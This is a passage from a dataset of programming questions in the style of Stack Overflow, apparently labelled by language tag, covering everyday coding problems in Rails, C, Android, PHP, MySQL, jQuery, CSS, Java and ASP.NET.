column from categories table are:   <ol> <li>id</li> <li>name</li> <li>user_id (reference to users table)</li> </ol>   the parameter i am trying to pass from the new task form are <code>name</code> from <code>category</code> table and <code>description</code> from <code>tasks</code> table,ruby-on-rails
how to make a list for array elements   i need to make a list for every new elements in the array. for example i type in (1 2 3 4 5) then (6 7 8 9 10) i need both to show in (void view). i hope you understand   <pre><code>#include &lt;stdio.h&gt; #define max 5 int a[max]; int x  s;  void view() {     for(x = 0; x &lt; max; x++) {         printf( %d. %d    s  a[x]);     } } int main() {     int run=1;     while(run) {         char choice;         scanf(  %c   &amp;choice);         if(choice== e ) {               for(x=0; x&lt;max; x++) {                   printf( \n );                   printf( \tenter value:  );                   scanf( %d   &amp;a[x]);               }         }         else if(choice== v ) {             view();           }           } } </code></pre>,c
how to capture long press volume down key in android   just wondering whether anyone could tell me how to capture the long keypress of the volume down key in android.    elaborated question:    i wanted to create a <strong>broadcastreceiver</strong> which will receive volume long keypress event. (without any ui interaction). i know it s possible for the search button. is it available for the volume keys     thanks,android
very simple php addition problem  i think i have been looking at this for too long. why is this code printing  no   it should be printing  yes  shouldn t it  i ve tried it on php 5.3 and php 5.2 and both print  no .    <pre><code>&lt; php  $total = 14.05; $var1 = 0; $var2 = 0.11; $var3 = 13.94;  if(($var1 + $var2 + $var3) == $total) {     echo  yes ; } else {     echo  no ; }   &gt; </code></pre>,php
when to use strong  weak  retain etc   i m porting a small c++ app to osx and it s going well but one thing i don t understand are:    strong  weak  retain keywords in objective-c around properties and in what situations i should use them.  we don t have these same concepts in c++.    could someone please explain what they are and how they work because i ve searched and what i ve not found any good explanations of when to use them. all i know is they relate to reference counting.  but that s it.    currently  i ve just put strong everywhere.  but i suspect i shouldn t be doing that.,objective-c
mysql - creating a temporary column that indicates if questions are answered  hi i m currently developing a sort of quiz application. in  discover  section i get popular and latest questions. but when i get them i should also check if question is already answered by current user or not.    here are my tables: questions: (media_id is primary key  player_id is creator of the question)   <pre><code>media_id - player_id - answer0 - answer1 - ... </code></pre>   answers: (media_id is primary key  player_id is the person who answers the question)   <pre><code>media_id - player_id - result - ... </code></pre>   this is how i get popular questions:   <pre><code>select * from questions where order by popularity_count </code></pre>   <strong>edit:</strong> let me show what i want to achieve by examples:    questions rows:   <pre><code>media_id - player_id - answer0 - answer1 0123456    abc123      bla       bla 6543210    hjk789      lor       ips </code></pre>   answers rows:   <pre><code>media_id - player_id - result 6543210    abc123      1 </code></pre>   so when user  abc123  gets the popular questions results should be:   <pre><code>media_id - player_id - answer0 - answer1 - is_answered 0123456    abc123      bla       bla       0 6543210    hjk789      lor       ips       1 </code></pre>   the problem is i need a temporary column in the result of query that indicates if question is replied by the current user or not. how can i achieve this      i can find if question is already answered or not for popularity section by using two queries. first i get the popular questions then i simply check if question is answered or not for every questions which seems so ineffective way. how can i achieve this with only one query     thank you!,mysql
latest and second latest column values  i want to find the latest and second latest column values difference on group type. and the type count must greater than 1.    consider this sample data in my table:   <pre><code>type  value        date --------------------------------  2       5   2015-05-09 12:42:00  4     -42   2015-05-09 13:19:57  2       2   2015-05-09 14:48:30  2       7   2015-05-09 12:54:39  3      16   2015-05-09 13:19:57  3      20   2015-05-09 15:01:09 </code></pre>   i would like the result to be    <pre><code>type   value    ---------------------   2     -5   3      4 </code></pre>   i.e  for the type 2  the latest value is 2  and the second latest value is 7  so difference between them is -5.,mysql
rails: link_to only if route exists  i m writing a rails engine and in one of my views i d like to create a link to main_app if a named route exists.    i will give an example to clarify the question: the main application may or may not define in routes.rb:   <pre><code>resources :my_resource  only: :index </code></pre>   in my rails engine i need to add a link to my_resource_path only if main_app defined that route. i think it should be something like the following:   <pre><code>&lt;%= link_to  link   main_app.my_path if my_resource_path_exists  %&gt; </code></pre>   i tried:   <pre><code>&lt;%= link_to  link   main_app.my_resource_path if        main_app.respond_to (:my_resource_path) %&gt; </code></pre>   but  when the path does not exist  that raises nomethoderror:   <pre><code>undefined method `my_resource_path  for #&lt;module&gt; </code></pre>   how my_resource_path_exists  method could be implemented  i m using ruby 2.2 and rails 4.2    the question is related to: <a href= https://stackoverflow.com/questions/3273715/determine-if-path-exists-as-route-in-rails-controller >determine if path exists as route in rails controller</a> but in this case  i have a named route (my_resource_path)  so i need something slightly different  but can t figure out by myself.,ruby-on-rails
sorting a nsmutable dictionary  any pointers for the right direction would be gratefully received     i have a nsdictionary of the format:   <pre><code>{ 3 =  special-collection-procedures-see-notes| ; 13 =  &lt;p&gt;none given&lt;/p&gt; ; 16 =   ; 6 =  &lt;p&gt;arrange for sample to be separated at an interim site and subsequently transport frozen to lab  if it cannot reach lab within one hour.&lt;/p&gt; ; 9 =  &lt;p&gt;stored in laboratory at -20c&lt;/p&gt; ; 12 =  &lt;p&gt;none&lt;/p&gt; ; 2 =  images/tubes/lightblue_tube_large.png ; 15 =   ; 5 =   ; 8 =  up to 28 days ; 11 =  &lt;p&gt;some indications: hereditary angioedema&lt;/p&gt;&lt;p&gt;sample type is citrated plasma though plain serum can also be used.&lt;/p&gt; ; 1 =   functional c1 esterase inhibitor ; 14 =  | ; 4 =  5-10 ml ; 7 =  &lt;p&gt;frozen if unable to deliver within one hour&lt;/p&gt; ; 10 =  &lt;p&gt;expressed as a percentage of a control serum with 75% -125% being classed as normal.&lt;/p&gt; ; </code></pre>   }    which i would like to sort the keys so that the order is:   <pre><code>1 =   functional c1 esterase inhibitor ; 2 =  images/tubes/lightblue_tube_large.png ; </code></pre>   etc.    i have this piece of code:   <pre><code>nsarray *myarray;   myarray = [[valuesdictionary allkeys] sortedarrayusingcomparator: ^(id obj1  id obj2) {      if ([obj1 integervalue] &gt; [obj2 integervalue]) {          return (nscomparisonresult)nsordereddescending;     }     if ([obj1 integervalue] &lt; [obj2 integervalue]) {          return (nscomparisonresult)nsorderedascending;     }      return (nscomparisonresult)nsorderedsame; }];  nsmutabledictionary *sorteddisplay = [[nsmutabledictionary alloc] init];  for (id object in myarray) {     // do something with object     [sorteddisplay setobject:[valuesdictionary objectforkey:object] forkey:object];  } </code></pre>   which gives me a sorted myarray: 1  2  3  4  5  6  7  8  9  10  11  12  13  14  15  16    but the final  sorted  mutable dictionary is not sorted i.e its    printing description of sorteddisplay:   <pre><code>{ 13 =  &lt;p&gt;none given&lt;/p&gt; ; 12 =  &lt;p&gt;none&lt;/p&gt; ; 11 =  &lt;p&gt;some indications: hereditary angioedema&lt;/p&gt;&lt;p&gt;sample type is citrated plasma though plain serum can also be used.&lt;/p&gt; ; 7 =  &lt;p&gt;frozen if unable to deliver within one hour&lt;/p&gt; ; 6 =  &lt;p&gt;arrange for sample to be separated at an interim site and subsequently transport frozen to lab  if it cannot reach lab within one hour.&lt;/p&gt; ; 2 =  images/tubes/lightblue_tube_large.png ; 1 =   functional c1 esterase inhibitor ; 14 =  | ; 15 =   ; 10 =  &lt;p&gt;expressed as a percentage of a control serum with 75% -125% being classed as normal.&lt;/p&gt; ; 9 =  &lt;p&gt;stored in laboratory at -20c&lt;/p&gt; ; 8 =  up to 28 days ; 5 =   ; 4 =  5-10 ml ; 3 =  special-collection-procedures-see-notes| ; 16 =   ; </code></pre>   }    what am i doing wrong,objective-c
jquery column filters  i have an application which presents a list of clients in a table. there are 485 rows in this table. in the <code>thead</code> there is a textbox which allows the user to filter on the value entered in the column in which the textbox appears. it seems that whenever the user enters a letter in one of these fields it takes so long that firefox displays the prompt about the script not responding.    before anyone suggests it  paging is not an option here - the idea is that it displays the full client list and then the user filters on a certain value in a certain column.    currently i am using the following method to filter each column:   <pre><code>$inputs.keyup(function() {     $header = $(this).closest( th ).attr( data-header-name );     $table = $(this).closest( table ).find( tbody );     $rows = $table.find( tr );     $rows.not( :visible ).show(0);     $input = $(this);     if(!($.trim($input.val())) ==   ) {          $rows.filter(function(i) {              return ($(this).find( td ).filter(function() {                  return ($(this).attr( headers ) == $header)              }).html().tolowercase().indexof($input.val().tolowercase()) == -1);          }).hide(0);     } }); </code></pre>   does anyone have any ideas on how to improve this so that it is a lot faster  thanks in advance.    <a href= http://jsfiddle.net/j4ngs/7/  rel= nofollow >js fiddle</a>    regards  richard,jquery
android - out of memory problem  in my app  i am downloading images from the web. for this  first time i am downloading images from the web and these images are stored in the sdcard. next time  i am checking these images are in sdcard or not. if yes  fetching from the sdcard otherwise i am downloading from the web. these images are displayed like list. i am repeatedly(means move up/down continuously) scrolling the list then my app crashed and i am getting the out of memory exception. how to handle it. can anybody help me.     stacktrace:   <pre><code>09-12 13:40:42.640: error/androidruntime(3426): java.lang.outofmemoryerror: bitmap size exceeds vm  budget(heap size=7879kb  allocated=3362kb  bitmap size=11402kb) 09-12 13:40:42.640: error/androidruntime(3426):     at  android.graphics.bitmapfactory.nativedecodefile(native method) 09-12 13:40:42.640: error/androidruntime(3426):     at  android.graphics.bitmapfactory.decodefile(bitmapfactory.java:355) 09-12 13:40:42.640: error/androidruntime(3426):     at  android.graphics.bitmapfactory.decodefile(bitmapfactory.java:433) 09-12 13:40:42.640: error/androidruntime(3426):     at  com.ibkr.elgifto.giftcategories$itemlistadapter$4.getdrawablefromurl(giftcategories.java:830) 09-12 13:40:42.640: error/androidruntime(3426):     at  com.ibkr.elgifto.giftcategories$itemlistadapter$4.run(giftcategories.java:739) 09-12 13:53:32.450: info/wsp(332): [receiver] next auto-sync alarm event is 180 mins later  at time: mon sep 12 16:53:32 gmt+05:30 2011 </code></pre>   code   <pre><code>private drawable getdrawablefromurl(string imageurl) {      // todo auto-generated method stub     string filename = imageurl;     filename = filename.replace( /    + );     filename = filename.replace( :    + );     filename = filename.replace( ~    s );     file elgiftoimagesref = new file( /sdcard/elgiftoimages/ );      elgiftoimagesref.mkdir();      final file file = new file(elgiftoimagesref  filename);     bitmapdrawable sddrawable = null;      boolean exists = file.exists();     if (!exists) {         try {             url myfileurl = new url(imageurl);             httpurlconnection conn = (httpurlconnection) myfileurl                     .openconnection();             conn.setdoinput(true);             conn.connect();             inputstream is = conn.getinputstream();             final bitmap result = bitmapfactory.decodestream(is);             is.close();             new thread() {                 public void run() {                     bytearrayoutputstream bytes = new bytearrayoutputstream();                     if (result != null) {                         result.compress(bitmap.compressformat.jpeg  40                                  bytes);                     }                     try {                          fileoutputstream fo;                         fo = new fileoutputstream(file);                         fo.write(bytes.tobytearray());                          fo.flush();                         fo.close();                         // result.recycle();                     } catch (ioexception e) {                         e.printstacktrace();                     }                 }             }.start();             bitmapdrawable returnresult = new bitmapdrawable(result);             return returnresult;         } catch (filenotfoundexception e) {             e.printstacktrace();         } catch (malformedurlexception e) {             e.printstacktrace();         } catch (ioexception e) {             e.printstacktrace();         }         return null;     } else {          // here i am getting the out of memory error.         sddrawable = new bitmapdrawable(bitmapfactory.decodefile(file                 .tostring()));         return sddrawable;     } }        </code></pre>,android
trouble with saving iphone app variables of different types  as all who usually ask such questions i m newbie in iphone sdk programming and i ve spend realy a lot of time to find the solution by my self.  so  i need to save a lot of app data of diff datatypes (bool string int float double int arrays double arrays and arrays of pointers) to file. there re many forms with fields  app settings etc. all that i need to save either user quit the app  or it was terminated unexpectedly. user could work with as much forms with fields  as it s possible. file is needed  to open project with all filled forms and app sets on other device. my trouble is that i couldn t find in what way i should wrilte all that data to file. i tried two diff ways. 1st: fill array with form s data  fill nsmutablearray with such arrays for every form. but for nsmutablearray there s a method (void)addobject:(id)anobject  and i didn t find how to get that (id)anobject from every array(or anything else) to add items. the 2nd i ve tried to use: nsmutabledata. the same troubles: to fill with my data i need to convert them to data ((void)appenddata:(nsdata *)otherdata). in both cases objecs of that classes couldn t be filled correctly with my data. and i can t save it to file. maybe there s some better solution  will be very apreciative for any help.,iphone
proxy aplly for method dont t call  i want to have getter for initialize method of object    <pre><code>    var phas = new proxy({b:9              cont:0              statistic:function(){                 console.log(this.cont)                 this.cont++                 }             }  {                 has: function (target  key) {                     if (key ==  a ) return false;                     return true;                 }                    apply: function () {                     console.log( run call  )                 }             }     )  phas.run(); </code></pre>  <blockquote>    uncaught typeerror: phas.run is not a function  </blockquote>   manual for proxy object <a href= https://www.xul.fr/javascript/proxy.php  rel= nofollow noreferrer >https://www.xul.fr/javascript/proxy.php</a>,javascript
lower case letters to upper case (if condition usage)   what does this line mean    <pre><code>if (strcmp(argv[0]  ./lower )==0) </code></pre>   before converting to lower or upper case why this condition is checked  what does it results to,c
python remove line breaks  i m reading output from program like this   <pre><code>test_output = test_run.communicate(input=str.encode(input))[0] output = test_output .decode( utf-8 ).strip() </code></pre>   and if program returns new line like this   <pre><code>&gt;&gt;&gt; a &gt;&gt;&gt; b </code></pre>   it reads it like this(with <code>repr()</code>)     <pre><code>&gt;&gt;&gt;  a\r\nb  </code></pre>   i tried removing line breaks with    <pre><code>output.replace(r \r\n    ) </code></pre>   but it s not working  if i print it like regular string it returns   <pre><code>&gt;&gt;&gt; a &gt;&gt;&gt; b </code></pre>   and repr()   <pre><code>&gt;&gt;&gt;  a\r\nb  </code></pre>   how can i remove \r\n from my string,python
jquery  find largest number by class  increase value by 1 and insert remaining value into field  i am needing to generate a reference number using jquery (i understand not the best method  but best i have to work with).    each existing number is inserted as a class  these are hidden on the page  just available for this use:   <pre><code>&lt;div class= ref 14001 &gt;&lt;/div&gt; &lt;div class= ref 14002 &gt;&lt;/div&gt; &lt;div class= ref 14003 &gt;&lt;/div&gt; </code></pre>   the reference number is sequential  and the  14  prefix denotes the year. at the start of each year the number needs to reset as  yy001 . so at the start of 2015 i need it to automatically change to:   <pre><code>&lt;div class= ref 15001 &gt;&lt;/div&gt; </code></pre>   so what needs to happen is when the page is loaded a script runs  finds the most recent number  in this case  14003   i need to then check the first two numbers are the current year  if not  update and reset the number. if they are  just add  1  (14004) and insert into a field:   <pre><code>&lt;input type= text  class= ref-number  name= ref-number  /&gt; </code></pre>   my jquery knowledge is very basic  so code samples or jfiddles would be greatly appreciated. thanks for any assistance in advance.    <strong>edit:</strong> thanks for directing me to those posting guidelines  i will endeavour to post my examples. i have a jsfiddle for the first part of my question. i can find the largest number (by class then id from suggestion) and increase by 1: <a href= http://jsfiddle.net/pkmyy/  rel= nofollow >http://jsfiddle.net/pkmyy/</a>    it s the other part of my problem that i don t even know where to start.,jquery
grouping data into ranges  i have a query that returns the counts from a database. sample output of the query:   <pre><code>23 14 94 42 23 12 </code></pre>   the query:   <pre><code>select count(*) from `submissions` inner join `events` on `submissions`.event_id = `events`.id where events.user_id in ( select id from `users` where users.created_at is not null group by `events`.id </code></pre>   is there a way to easily take the output and split it into pre-defined ranges of values (0-100  101-200  etc)  indicating the number of rows that fall into a particular range,mysql
compare two hours javascript  i need to compare different hours  how i can do it     my problem is like this:    how do i say midnight and more than nine in the morning or  hours like 01  02 ... are greater than 13  14  15     i did:    a = 09:00 and b = 00:00   <pre><code>    function hours(){         if(b &gt; a) {             return true         }      } </code></pre>     but my function return false!     any idea,javascript
vertically center in viewport using css  i am looking to vertically center a <code>&lt;div&gt;</code> in the viewport (browser window) without resorting to javascript (pure html and css only).  i have several constraints:   <ul> <li><strong>the <code>div</code> must be centered vertically in the viewport.</strong>  methods i have seen only support centering inside another <code>&lt;div&gt;</code>  which is not what i want.</li> <li>the height of the <code>div</code> is not known.</li> </ul>   other constraints:   <ul> <li>the <code>div</code> must be aligned to the right.</li> <li>the <code>div</code> has a constant width.</li> <li>the <code>div</code> must support padding.</li> <li>other elements will be placed on the web page.  the <code>div</code> acts as a menu.</li> <li>the div must support a background colour/image.</li> </ul>   this gets me close to what i want  but not exactly:   <pre><code>#nav {     position: fixed;     right: 0;     top: 50%; } </code></pre>   however  the <em>top</em> of the nav is in the middle  not the <em>middle</em> of the nav.    is there some technique which allows me to center my <code>div</code> with these constraints,css
use percentage of width in non-width properties  i can use the css property <code>top:60vw</code> to position the top of an element at 60% of the <em>views</em> width. is there a similar method to position the element at 60% of a <em>containers</em> width without referencing the view width      i need css  not scss methods.,css
"can anyone explain to me why when i set the body s background color his causes my other css styles to be ignored  whenever i set the background color for my body it ignores the css styles that come after it. can anyone explain to me why this is happening and how to fix it     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code> body{
   background-color:gray;
  };
  
  h1 {
    text-align:center;
  }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
   &lt;head&gt;
 
   &lt;/head&gt;
   &lt;body&gt;
    &lt;h1&gt;heading&lt;/h1&gt;
   &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",css
editing a text file in java and saving it as a new text file  i have a text file with 5 lines  i wish to read in those lines and be able to number them 1 - 5  and save them in a different file. the numbers begin before the start of the line. i have tried to hard code in a loop to read in the number but i keep getting errors.   <pre><code>public class templatelab5bronze {      static final string input_file =  testlab5bronze.txt ;     static final string output_file =  outputlab5bronze.txt ;      public static void main(string[] args) {         try {             filereader in = new filereader(input_file);             printwriter out = new printwriter(output_file);             system.out.println( working );              bufferedreader infile = new bufferedreader(in);             printwriter outfile = new printwriter(out);             outfile.print( does this print \n );              string trial =  tatot ;             outfile.println(trial);             system.out.format( %d. this is the top line\n   (int) 1.);             system.out.format( %d.                     \n   (int) 2.);             system.out.format( %d. the previous one is blank.\n   (int) 3.);             system.out.format( %d. short one\n   (int) 4.);             system.out.format( %d. this is the last one.\n   (int) 5.);             /*if(int j = 1; j &lt; 6; j++){                 outfile.print( i + trial);             }*/              string line;             do {                 line = infile.readline();                 if (line != null) {                 }              } while (line != null);             infile.close();              in.close();             outfile.close();         } catch (ioexception e) {             system.out.println( doesnt work );         }         system.out.print( done stuff! );     } } </code></pre>   this is all the code i have so far  excluding the import statements  the commented for loop is what i was trying to use. is there another way to do this,java
jquery traversing up instead of down  i have a bootstrap dropdown that i am trying to populate i guess you would call header with the value  kind of like you would see on a regular html dropdown. so the user knows what they selected in the menu.    my issue is that if you have more than one drop down on a page the jquery will target them both and not just the one i m selecting from. normally i would fix this by adding a <code>$(this).parent()</code>  but the html is a bit more complex and i really rather not do a chain of  <code>.parent().parent().parent()</code>    there must be a better way of doing this that i m missing or just plain forgetting.    my html looks like    <pre><code>&lt;p&gt;&lt;label class= control-label  data-bind= html: label &gt;&lt;/label&gt;&lt;/p&gt; &lt;div class= dropdown  data-bind= cssproperties: properties  css: { hidden : evaldisplay() == false } &gt;     &lt;button class= btn btn-default dropdown-toggle col-md-12 dropbtn  type= button  id= dropdownmenu1  data-toggle= dropdown &gt;         &lt;span class= pull-left   data-bind= value: value attr: {  name  : id} &gt;&lt;/span&gt;         &lt;span class= caret pull-right &gt;&lt;/span&gt;         &lt;p class= clearfix &gt;&lt;/p&gt;     &lt;/button&gt;     &lt;ul class= dropdown-menu side-dropdown  role= menu &gt;         &lt;!-- ko foreach: options --&gt;             &lt;li role= presentation &gt;&lt;a role= menuitem  tabindex= -1  data-bind= html: value &gt;&lt;/a&gt;&lt;/li&gt;         &lt;!-- /ko --&gt;     &lt;/ul&gt;     &lt;p class= clearfix &gt;&lt;/p&gt; &lt;/div&gt; </code></pre>   and my jquery looks like this   <pre><code>$( .dropdown-menu li a ).click(function(){     $( .dropbtn.btn:first-child ).html( &lt;span class= pull-left &gt; +$(this).text()+ &lt;/span&gt;&lt;span class= caret pull-right &gt;&lt;/span&gt; );     $( .dropbtn.btn:first-child ).val($(this).text()); }); </code></pre>   and a jsfiddle to play with  <a href= http://jsfiddle.net/0p1lhzq0/  rel= nofollow >http://jsfiddle.net/0p1lhzq0/</a>    i have been playing with <code>parentsutil()</code> as well  but that just doesn t seem right.    any help would be wonderful!,jquery
how to find the control offerid  <pre><code>&lt;asp:listview id= listview1  runat= server  datasourceid= sqldatasource1               datakeynames= offerid  groupitemcount= 2  &gt;         &lt;layouttemplate&gt;            &lt;table runat= server &gt;                &lt;tr runat= server &gt;                    &lt;td runat= server &gt;                        &lt;table id= groupplaceholdercontainer  runat= server  border= 0  style=  &gt;                            &lt;tr id= groupplaceholder  runat= server &gt;                            &lt;/tr&gt;                        &lt;/table&gt;                    &lt;/td&gt;                &lt;/tr&gt;                &lt;tr runat= server &gt;                    &lt;td runat= server  style=  &gt;                    &lt;/td&gt;                &lt;/tr&gt;            &lt;/table&gt;         &lt;/layouttemplate&gt;         &lt;itemtemplate&gt;            &lt;td runat= server  style=  &gt;                 &lt;div id= wrapper &gt;          &lt;div id= resimage &gt;   &lt;div id= slideshow &gt;      &lt;asp:image id= image1  runat= server  imageurl= &lt;%# eval ( image1 ) %&gt;  width= 250px  height= 190px  cssclass= active  /&gt;     &lt;asp:image id= image5  runat= server  imageurl= &lt;%# eval ( image2 ) %&gt;  width= 250px  height= 190px  /&gt;     &lt;asp:image id= image4  runat= server  imageurl= &lt;%# eval ( image3 ) %&gt;  width= 250px  height= 190px  /&gt;   &lt;/div&gt;          &lt;/div&gt;         &lt;div id= resdesc &gt;             &lt;asp:label id= lbldesc  runat= server  width= 290px  height= 190px  backcolor= white  text= &lt;%# eval( offer ) %&gt; &gt;&lt;/asp:label&gt;          &lt;/div&gt;         &lt;div id= resprice1 &gt;             &lt;asp:label id= lblvalue  runat= server  text= value  cssclass= resvalue &gt;&lt;/asp:label&gt;             &lt;asp:label id= lbldiscount  runat= server  text= discount  cssclass= resdiscount &gt;&lt;/asp:label&gt;             &lt;asp:label id= lblyoupay  runat= server  text= you pay  cssclass= resyoupay &gt;&lt;/asp:label&gt;         &lt;div id= resprice2 &gt;             &lt;asp:label id= lblvalueamt  runat= server  text= &lt;%# eval( value ) %&gt;  cssclass= resvalueamt &gt;&lt;/asp:label&gt;             &lt;asp:label id= lbldiscountamt  runat= server  text= &lt;%# eval( discount ) %&gt;  cssclass= resdiscountamt &gt;&lt;/asp:label&gt;             &lt;asp:label id= lblyoupayamt  runat= server  text= &lt;%# eval( youpay ) %&gt;  cssclass= resyoupayamt &gt;&lt;/asp:label&gt;         &lt;/div&gt;             &lt;asp:label id= lblrestaurantname  runat= server  text= &lt;%# eval( restaurantname ) %&gt; &gt;&lt;/asp:label&gt;&lt;br /&gt;             &lt;asp:linkbutton id= lnkgetcoupon  runat= server &gt;get discount coupon&lt;/asp:linkbutton&gt;         &lt;/div&gt;          &lt;div id= howitworks &gt;             &lt;asp:label id= lblhowitworks  runat= server  text= how it works   font-bold= true  font-size= small  forecolor= red &gt;&lt;/asp:label&gt;             &lt;ul&gt;             &lt;li&gt;&lt;asp:label id= label3  runat= server  text= 1.click on the  get discount coupon  button  font-size= 10px &gt;&lt;/asp:label&gt;&lt;/li&gt;             &lt;li&gt;&lt;asp:label id= label4  runat= server  text= 2.get a print of your voucher and carry it during your visit to the outlet.  font-size= 10px &gt;&lt;/asp:label&gt;&lt;/li&gt;             &lt;li&gt;&lt;asp:label id= label5  runat= server  text= 3.show your voucher and pay the amount directly to the merchant.   font-size= 10px &gt;&lt;/asp:label&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;          &lt;asp:label id= offerid  runat= server  text= &lt;%# eval( offerid ) %&gt;  visible= false &gt;&lt;/asp:label&gt;         &lt;/div&gt;            &lt;/td&gt;        &lt;/itemtemplate&gt; </code></pre>   how to find the label control with the id=offerid...how to use findcontrol here   i want to find the offerid of the row on which i click...i have a linkbutton lnkgetcoupon..when i click on the link button...i want to pass the offerid in the query string to the next page.    i am a new user so they do not let me post answer to my own question    heres the answer...    i added <code>commandargument= &lt;%# eval( offerid ) %&gt;</code> to the link button.      <pre><code>&lt;asp:linkbutton id= lnkgetcoupon  commandargument= &lt;%# eval( offerid ) %&gt;  runat= server &gt;get discount coupon&lt;/asp:linkbutton&gt; </code></pre>   and used the <code>listview1_itemcommand</code>   <pre><code>protected sub listview1_itemcommand(byval sender as object  byval e as system.web.ui.webcontrols.listviewcommandeventargs) handles listview1.itemcommand         dim offer as string         offer = e.commandargument.tostring()         dim url as string =  ~/restaurantdedicatedpage.aspx offerid=  + offer         response.redirect(url  true)     end sub </code></pre>,asp.net
symphonia .net component generator not registering  i m using the <a href= http://www.apollo.gr/deve/news/news.asp pid=132  rel= nofollow noreferrer >symphonia</a> edi designer  and trying to generate .net assemblies  but the button that lets me create .net assemblies doesn t show up.      what do i need to do,.net
conversion from const char * to const std::string &  i think following code should generate an error:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;  static void pr(const std::string &amp;astr) {     std::cout &lt;&lt; astr &lt;&lt;  \n ; }  int main(void) {     const char *a =  hellu ;      pr(a);      return 0; } </code></pre>   but gcc 4.1.2 compiles it successuflly.    is it that the constructor of std::string get in the way  creating an instance of std::string     i believe it shouldn t  because reference is merely an alias to a variable (in this case  there is no variable of type std::string that the reference is referring to).    is anybody out there to explain why the code compiles successfully     thanks in advance.,c++
uitableview with open & closed sections  i have a uitableview with several sections. i would like click on a section to  close/open  its content  in order to show/hide the rows under it. so that  i can keep some sections open (with its rows visible) and others close  with the next section immediately below the previous section header.    how can i implement it  do i need to subclass the uitableview and add a gesture recognizer and somehow add an animation to the rows  but i m not sure this is easy...    thanks,ios
how to autoclick my tab link with hash parameter  i have 4 tabs on my web page . but on page load always first tab is opened . i want to open other tabs on page load with some hash parameter in url  here is my code :   <pre><code>&lt;ul class= tab-links &gt;     &lt;li class= active &gt;&lt;a href= #tab1 &gt; tab1 &lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #tab2 &gt; tab2 &lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #tab3 &gt; tab2 &lt;/a&gt;&lt;/li&gt;     &lt;li&gt;&lt;a href= #tab4 &gt; tab2 &lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;div class= tab-content &gt;     &lt;div id= tab1   class= tab active &gt;      &lt;/div&gt;      &lt;div id= tab2  class= tab &gt;      &lt;/div&gt;      &lt;div id= tab3   class= tab &gt;      &lt;/div&gt;      &lt;div id= tab4   class= tab &gt;      &lt;/div&gt; </code></pre>,jquery
how can i use the like clause on two columns while prioritizing one of them   say i have two columns... <strong>title</strong> and <strong>description</strong>. i would like to write a command to return all rows where a search term (for the sake of the example i will use  <strong>toilet</strong> ) is present. i would like the results to first display any rows that have  toilet  in the title. then after that i would like to display the rows that have  toilet  in the description (but not also in the title). how can i do this  all i know how to do is search without taking into account any column prioritization:   <pre><code>select * from item where title like  %toilet%  or description like  %toilet%  </code></pre>,mysql
passing object by reference vs by value in overload functions  i keep reading that when doing overload operator functions  it s best to pass by reference  usually for performance reasons. but i notice that when i pass the object by value  it still has the same effect. shouldn t passing it by value not affect the operator  i know that if you have two int variables and you wanna swap them by passing them to another function  it ll only work if you pass by reference (or if you pass a pointer). if you just passed the value  the variables remain unchanged at the end. so shouldn t the same apply to passing class objects       example:   <pre><code>person person::operator+(person obj1){     person sum;     sum.age = this-&gt;age + obj1.age;      return sum; }  </code></pre>   if i have a main and do:   <pre><code>person person1(14); person person2(182); person3 = person1 + person2; std::cout &lt;&lt; person3.age &lt;&lt; std::endl; </code></pre>   it does the same as if i had done    <pre><code>person person::operator+(person &amp;obj1){     person sum;     sum.age = this-&gt;age + obj1.age;      return sum; }  </code></pre>   so i was sort of thinking of this like in the swap method i mentioned. if i pass the value to a swap function  it won t change the original values of the variables. i was thinking that if i just passed the object instead of a reference  it wouldn t change actually overload the operator. now i m thinking that since in my person class  both the operator and the variables are defined in the same class  then the same doesn t apply and that s why it actually does overload the operator,c++
saving image from web in simulator photo gallery  i am downloading an image from the internet but saving it on the desktop.i want to save it in photo gallery of the iphone. how is this possible      my code is here:   <pre><code>nsstring *docdir = @ /users/gaurav/desktop ; nsstring *pngfilepath = [nsstring stringwithformat:@ %@/neetu%d.png  docdir   r]; r++;  //nsstring *pngfilepath = [nsstring stringwithformat:@ %@/flower.png  docdir]; nsdata *data1 = [nsdata datawithdata:uiimagepngrepresentation(image)]; [data1 writetofile:pngfilepath atomically:yes]; </code></pre>,iphone
mysql select emails for sending account expiration reminder  i have been given a task to send email reminder the customers in our db to notify their annual subscription are about to expire. the sending period is 30 days  15 days  7 days before the account expired. the email has been delivered won t resend until next period reached (e.g. john.doe@aaa.com account about to expire on 2012-06-01. server sends email on 2012-05-02  and then wait till 2012-05-17 sending in again if status is not change). also if account_status.statusid is not 3  the server won t send message again and set back account_metadata.v to 7.    the sample data list below:    <strong>accounts</strong>   <pre><code>id  email 1   velit@necenimnunc.com 2   nec@magna.org 3   imperdiet.ullamcorper.duis@sagittisaugue.com 4   lacus@velitin.edu 5   curae;@phasellus.edu 6   dui.nec@vivamussitamet.org 7   aliquam.erat.volutpat@intincidunt.com 8   vehicula.risus.nulla@id.org 9   fusce.diam.nunc@egetdictum.ca 10  urna@magnanam.edu 11  vitae.erat@erategetipsum.ca 12  eu@eratneque.com 13  non@inconsectetuer.com 14  lectus@nullamfeugiat.ca 15  sit.amet.diam@enimetiamimperdiet.com 16  consectetuer.euismod.est@euerosnam.com 17  urna.nunc.quis@egestas.com 18  tristique.aliquet.phasellus@afelis.org 19  eget.tincidunt.dui@ligula.org 20  primis.in@accumsanneque.edu 21  ultricies.adipiscing@arcuvestibulum.com 22  euismod.et.commodo@nisi.edu 23  iaculis.quis@molestietortornibh.com 24  molestie@pellentesque.org 25  ligula.tortor.dictum@dolor.com 26  dictum.ultricies.ligula@ipsum.com 27  pretium@turpis.ca 28  neque.nullam.nisl@feugiatloremipsum.edu 29  adipiscing.non.luctus@inconsequatenim.ca 30  faucibus@mauris.com </code></pre>   <strong>account_status</strong>   <pre><code>id   statusid  accountid  time 1    1         2          2011-06-01 21:54:37 2    1         3          2011-06-02 09:07:14 3    1         4          2011-06-02 09:13:20 4    1         5          2011-06-02 09:54:44 5    1         6          2011-06-02 10:15:52 6    1         7          2011-06-02 10:17:22 7    2         7          2011-06-02 10:21:25 8    1         8          2011-06-02 11:09:03 9    1         9          